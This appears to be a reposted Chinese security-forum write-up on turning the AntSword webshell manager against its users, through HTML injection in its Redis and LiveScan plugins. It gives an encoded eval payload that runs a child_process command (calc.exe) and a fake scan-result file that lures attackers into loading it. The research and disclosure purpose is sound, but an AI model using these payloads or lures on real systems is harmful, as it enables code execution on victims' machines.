安全矩阵

 找回密码
 立即注册
搜索
查看: 2885|回复: 0

从虚假的XSS到放弃RCE再到Self-RCE

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-10-20 21:35:30 | 显示全部楼层 |阅读模式
原文链接:从虚假的XSS到放弃RCE再到Self-RCE

0x01 前言

中午在学校午休,就看了 @忍酱 的反制Goby, @暗羽师傅 的反制Burpsuite还有 @先知社区 里的反制蚁剑, @f4ltJ4y 的蚁剑复现,挑起了我想反制的心!


蚁剑版本: 2.1.12


0x02 虚假XSS

蚁剑是自带浏览器的,用的是Chrome!本想着暗羽师傅的那篇可以用得到,发现版本不对


发现它调用了dhtmlx框架,可以解析HTML
  1. <img src=1 onerror=alert(1)>
复制代码
正是因为这个虚假的XSS,更加激发了我想RCE的心!我们可以参考:

https://xz.aliyun.com/t/8167


批注: 「浏览网站」模块中,创建 Window 的时候,禁止了 Node 上下文支持,并且开启了沙箱,所以即便有 XSS 也不会引发 RCE。
学蚁致用



0x03 放弃RCE

我在想既然有内置浏览器,那么Chromium浏览器版本是否存在漏洞呢? 我们先得获取Chromuim版本
  1. # Console
  2. navigator.appCodeName
  3. navigator.appVersion
复制代码

如上图,谷歌浏览器的产品代号为"Mozilla"
  1. "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) antsword/2.1.12 Chrome/69.0.3497.106 Electron/4.0.3 Safari/537.36"
复制代码

上图已知,Chrome/69.0.3497.106 Electron/4.0.3 我们查找相对应的远程代码执行的漏洞!已关闭沙箱

通过万能的百度我找到一个 Google Chrome < = 87.0.4280.88 远程代码执行
  1. # 参考文档:
  2. https://www.cnblogs.com/ethtool/p/14652420.html
  3. https://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js
复制代码
尝试后,我实在是想不明白这个DevTools怎么搞,我想尝试别的版本,高版本低版本我都试过了,都是 同一个问题!希望有师傅能够解惑,我太菜了。



0x04 「Redis管理」插件 Self-RCE

本文所述该插件的漏洞目前已经修复

峰回路转,本来我是打算放弃的,就随便点点插件里的内容。我是原先有下载一个Redis管理的插件的
  1. <img src=1 onerror=alert(1)>
复制代码
直接通过HTML的方式解析

https://github.com/AntSword-Store/AS_Redis/blob/fac78f9605c4cee4d863b1c68a368916dc854051/libs/core.js

阅读了这个插件的源代码,发现并没有过滤以及加以限制,而且dhtmlx 解析,这应该是蚁剑开发的标准要求
  1. 'use strict'

  2. class Core {
  3.   constructor(ShellCore, opt = {}) {
  4.     this.ShellCore = ShellCore;
  5.     this.host = opt['host'] || "127.0.0.1:6379";
  6.   }

  7.   setHost(host) { this.host = host; }

  8.   // 将 buffer 转为 base64 string
  9.   encode(buffer) {
  10.     return Buffer.from(buffer).toString('base64');
  11.   }

  12.   decode(str) {
  13.     // ...
  14.   }

  15.   get template() {
  16.     // ...
  17.   }
  18. }

  19. module.exports = Core;
复制代码
dhtmlx v4 的 Tree 组件 text 属性是支持 html 的,在插件开发过程中,设置节点内容的时候,一定需要注意 XSS 问题
学蚁致用
漏洞点:

构造 Self-RCE

结合蚁剑的以下特点:

解析HTML时,不能使用单引号或双引号,否则会出现语法混乱 HTML源码和流量中均有Payload,导致攻击方很容易被反制,在执行命令后需要删除当前HTML节 点,并对流量进行加密。
  1. a="require('child_process').exec('calc.exe')"
  2. b=""
  3. for(i=0;i<a.length;i++)
  4.   b = b + "," +a.charCodeAt(i)
复制代码
使用 JavaScript Obfuscator 对payload进行混淆,为了方便我这里就不混淆了 在Console执行得到处理后的payload

  1. <img src=1 onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))">
复制代码



0x05 「LiveScan」插件 XSS
本文所述该插件的漏洞目前已经修复
这个是蚁剑判断WEBSHELL存活的一款插件

https://github.com/AntSword-Store/LiveScan/blob/master/libs/ui.js
行160-192 从开始扫描到渲染UI,每一步都没有调用JS替换函数: antSword.noxss

于是我构思,如何让他扫描后渲染出来,它扫描时shell不需要存活,于是我们shell地址开始下手 Windows对文件的命名有标准,我们没法使用尖括号 只能在链接的时候修改

XSS:
  1. <img src=1 onerror=alert(1)>

  2. 例子:

  3. http://192.168.0.108/<img src=1 onerror=alert(1)>/1.php
复制代码
构思

其实对于我而言这个是有实战意义的: 钓鱼

就脚本小子以及初出茅庐的攻击方来说,设置钓鱼文件,伪造内容诱导添加shell并存活检测,也可以黑 吃黑,诱导其检测shell存活~

在网站目录下创建 txt 或者 log 文件,伪造内容:
  1. 漏洞利用扫描器 结果:

  2. 指定连接shell管理工具 -- 蚁剑(AntSword)
  3. WebShell: http://192.168.0.108/<img src=1/ onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))">/1.php
  4. 密码:cmd

  5. 连接后请务必进行存活检测 -- 插件中心下载 && https://github.com/AntSword-Store/LiveScan
  6. # 如遇插件中心存在打不开的情况,解决方法: https://mp.weixin.qq.com/s/hF3GgZpIcussc-BjUoJUuQ
复制代码






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 22:21 , Processed in 0.019458 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表